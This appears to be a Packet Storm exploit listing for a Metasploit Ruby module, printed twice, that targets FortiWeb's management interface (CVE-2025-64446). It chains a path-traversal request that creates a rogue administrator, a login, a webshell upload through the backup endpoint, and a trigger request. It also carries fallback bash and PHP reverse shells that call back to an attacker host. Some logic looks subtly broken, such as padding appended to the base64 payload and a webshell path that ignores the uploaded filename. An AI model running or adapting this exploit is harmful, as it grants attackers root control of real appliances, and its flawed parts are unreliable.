9.8
/ 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Description
This Metasploit module targets a critical remote code execution vulnerability in FortiWeb's management interface by chaining multiple weaknesses. It goes from authentication bypass to path traversal to arbitrary file upload to remote code execution...
Basic Information
ID
PACKETSTORM:219673
Published
Apr 23, 2026 at 00:00
Affected Product
Affected Versions
==================================================================================================================================
| # Title : FortiWeb 8.0.1 Authentication Bypass + File Upload RCE Metasploit Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.fortinet.com |
==================================================================================================================================
[+] Summary : This Metasploit module targets a critical Remote Code Execution vulnerability in FortiWebβs (CVE-2025-64446) management interface by chaining multiple weaknesses:
Authentication Bypass β Path Traversal β Arbitrary File Upload β Remote Code Execution (root)
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'FortiWeb Remote Code Execution (CVE-2025-64446)',
'Description' => %q{
This module exploits a critical vulnerability in FortiWeb management interface
that combines Authentication Bypass, Path Traversal, and Arbitrary File Upload
to achieve Remote Code Execution as root.
},
'License' => MSF_LICENSE,
'Author' => [
'indoushka'
],
'References' => [
['CVE', '2025-64446']
],
'Platform' => ['linux', 'unix'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Targets' => [
[
'Linux (Reverse Shell)',
{
'Platform' => 'linux',
'Arch' => ARCH_CMD,
'Type' => :linux_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
],
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
]
],
'DefaultTarget' => 0
)
)
register_options([
Opt::RPORT(8443),
OptBool.new('SSL', [true, 'Use SSL/TLS', true]),
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('USERNAME', [false, 'Temporary admin username', 'pwnedadmin']),
OptString.new('PASSWORD', [false, 'Temporary admin password', 'Pwned123!']),
OptString.new('WEBSHELL_PATH', [false, 'Webshell path', '/pwned.dat'])
])
register_advanced_options([
OptInt.new('SHELL_TIMEOUT', [true, 'Time to wait for shell callback', 15])
])
end
def check
print_status("Checking if target is vulnerable...")
test_username = Rex::Text.rand_text_alpha(8)
test_password = Rex::Text.rand_text_alpha(12)
if create_admin_user(test_username, test_password)
delete_admin_user(test_username)
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def exploit
print_status("Starting exploitation against #{peer}")
username = datastore['USERNAME']
password = datastore['PASSWORD']
unless create_admin_user(username, password)
fail_with(Failure::NotVulnerable, "Failed to create admin user")
end
unless login_admin(username, password)
fail_with(Failure::UnexpectedReply, "Login failed")
end
webshell_path = upload_webshell
fail_with(Failure::UnexpectedReply, "Webshell upload failed") if webshell_path.nil?
register_files_for_cleanup(webshell_path)
trigger_shell(webshell_path)
delete_admin_user(username)
Rex.sleep(datastore['SHELL_TIMEOUT'])
end
private
def create_admin_user(username, password)
payload = {
"../../mkey" => username,
"password" => password,
"isadmin" => "1",
"status" => "enable"
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/v2.0/user/local.add'),
'ctype' => 'application/json',
'data' => payload.to_json
})
res && res.code == 200 && res.body.include?('success')
rescue
false
end
def login_admin(username, password)
payload = {
"username" => username,
"password" => password
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/v2.0/login'),
'ctype' => 'application/json',
'data' => payload.to_json
})
res && res.code == 200 && res.body.include?('success')
rescue
false
end
def upload_webshell
shell_code = generate_payload
b64_shell = Rex::Text.encode_base64(shell_code) + "AAA=="
data = Rex::MIME::Message.new
data.add_part(
b64_shell,
'application/octet-stream',
nil,
"form-data; name=\"upload-file\"; filename=\"#{Rex::Text.rand_text_alpha(8)}.dat\""
)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/v2.0/system/maintenance/backup'),
'ctype' => "multipart/form-data; boundary=#{data.boundary}",
'data' => data.to_s
})
return datastore['WEBSHELL_PATH'] if res && res.code == 200
nil
rescue
nil
end
def generate_payload
case target['Type']
when :linux_cmd
p = payload.encoded
return p if p && !p.to_s.empty?
"bash -c 'bash -i >& /dev/tcp/#{lhost}/#{lport} 0>&1'"
when :unix_cmd
return payload.encoded
else
return %Q|<?php system("bash -c 'bash -i >& /dev/tcp/#{lhost}/#{lport} 0>&1'"); ?>|
end
end
def trigger_shell(webshell_path)
send_request_cgi({
'method' => 'GET',
'uri' => webshell_path
}, datastore['SHELL_TIMEOUT'])
true
rescue
true
end
def delete_admin_user(username)
payload = {
"../../mkey" => username
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/v2.0/user/local.delete'),
'ctype' => 'application/json',
'data' => payload.to_json
})
res && res.code == 200
rescue
false
end
def lhost
datastore['LHOST']
end
def lport
datastore['LPORT']
end
def peer
"#{rhost}:#{rport}"
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================
| # Title : FortiWeb 8.0.1 Authentication Bypass + File Upload RCE Metasploit Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.fortinet.com |
==================================================================================================================================
[+] Summary : This Metasploit module targets a critical Remote Code Execution vulnerability in FortiWebβs (CVE-2025-64446) management interface by chaining multiple weaknesses:
Authentication Bypass β Path Traversal β Arbitrary File Upload β Remote Code Execution (root)
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'FortiWeb Remote Code Execution (CVE-2025-64446)',
'Description' => %q{
This module exploits a critical vulnerability in FortiWeb management interface
that combines Authentication Bypass, Path Traversal, and Arbitrary File Upload
to achieve Remote Code Execution as root.
},
'License' => MSF_LICENSE,
'Author' => [
'indoushka'
],
'References' => [
['CVE', '2025-64446']
],
'Platform' => ['linux', 'unix'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Targets' => [
[
'Linux (Reverse Shell)',
{
'Platform' => 'linux',
'Arch' => ARCH_CMD,
'Type' => :linux_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
],
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
]
],
'DefaultTarget' => 0
)
)
register_options([
Opt::RPORT(8443),
OptBool.new('SSL', [true, 'Use SSL/TLS', true]),
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('USERNAME', [false, 'Temporary admin username', 'pwnedadmin']),
OptString.new('PASSWORD', [false, 'Temporary admin password', 'Pwned123!']),
OptString.new('WEBSHELL_PATH', [false, 'Webshell path', '/pwned.dat'])
])
register_advanced_options([
OptInt.new('SHELL_TIMEOUT', [true, 'Time to wait for shell callback', 15])
])
end
def check
print_status("Checking if target is vulnerable...")
test_username = Rex::Text.rand_text_alpha(8)
test_password = Rex::Text.rand_text_alpha(12)
if create_admin_user(test_username, test_password)
delete_admin_user(test_username)
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def exploit
print_status("Starting exploitation against #{peer}")
username = datastore['USERNAME']
password = datastore['PASSWORD']
unless create_admin_user(username, password)
fail_with(Failure::NotVulnerable, "Failed to create admin user")
end
unless login_admin(username, password)
fail_with(Failure::UnexpectedReply, "Login failed")
end
webshell_path = upload_webshell
fail_with(Failure::UnexpectedReply, "Webshell upload failed") if webshell_path.nil?
register_files_for_cleanup(webshell_path)
trigger_shell(webshell_path)
delete_admin_user(username)
Rex.sleep(datastore['SHELL_TIMEOUT'])
end
private
def create_admin_user(username, password)
payload = {
"../../mkey" => username,
"password" => password,
"isadmin" => "1",
"status" => "enable"
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/v2.0/user/local.add'),
'ctype' => 'application/json',
'data' => payload.to_json
})
res && res.code == 200 && res.body.include?('success')
rescue
false
end
def login_admin(username, password)
payload = {
"username" => username,
"password" => password
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/v2.0/login'),
'ctype' => 'application/json',
'data' => payload.to_json
})
res && res.code == 200 && res.body.include?('success')
rescue
false
end
def upload_webshell
shell_code = generate_payload
b64_shell = Rex::Text.encode_base64(shell_code) + "AAA=="
data = Rex::MIME::Message.new
data.add_part(
b64_shell,
'application/octet-stream',
nil,
"form-data; name=\"upload-file\"; filename=\"#{Rex::Text.rand_text_alpha(8)}.dat\""
)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/v2.0/system/maintenance/backup'),
'ctype' => "multipart/form-data; boundary=#{data.boundary}",
'data' => data.to_s
})
return datastore['WEBSHELL_PATH'] if res && res.code == 200
nil
rescue
nil
end
def generate_payload
case target['Type']
when :linux_cmd
p = payload.encoded
return p if p && !p.to_s.empty?
"bash -c 'bash -i >& /dev/tcp/#{lhost}/#{lport} 0>&1'"
when :unix_cmd
return payload.encoded
else
return %Q|<?php system("bash -c 'bash -i >& /dev/tcp/#{lhost}/#{lport} 0>&1'"); ?>|
end
end
def trigger_shell(webshell_path)
send_request_cgi({
'method' => 'GET',
'uri' => webshell_path
}, datastore['SHELL_TIMEOUT'])
true
rescue
true
end
def delete_admin_user(username)
payload = {
"../../mkey" => username
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/v2.0/user/local.delete'),
'ctype' => 'application/json',
'data' => payload.to_json
})
res && res.code == 200
rescue
false
end
def lhost
datastore['LHOST']
end
def lport
datastore['LPORT']
end
def peer
"#{rhost}:#{rport}"
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================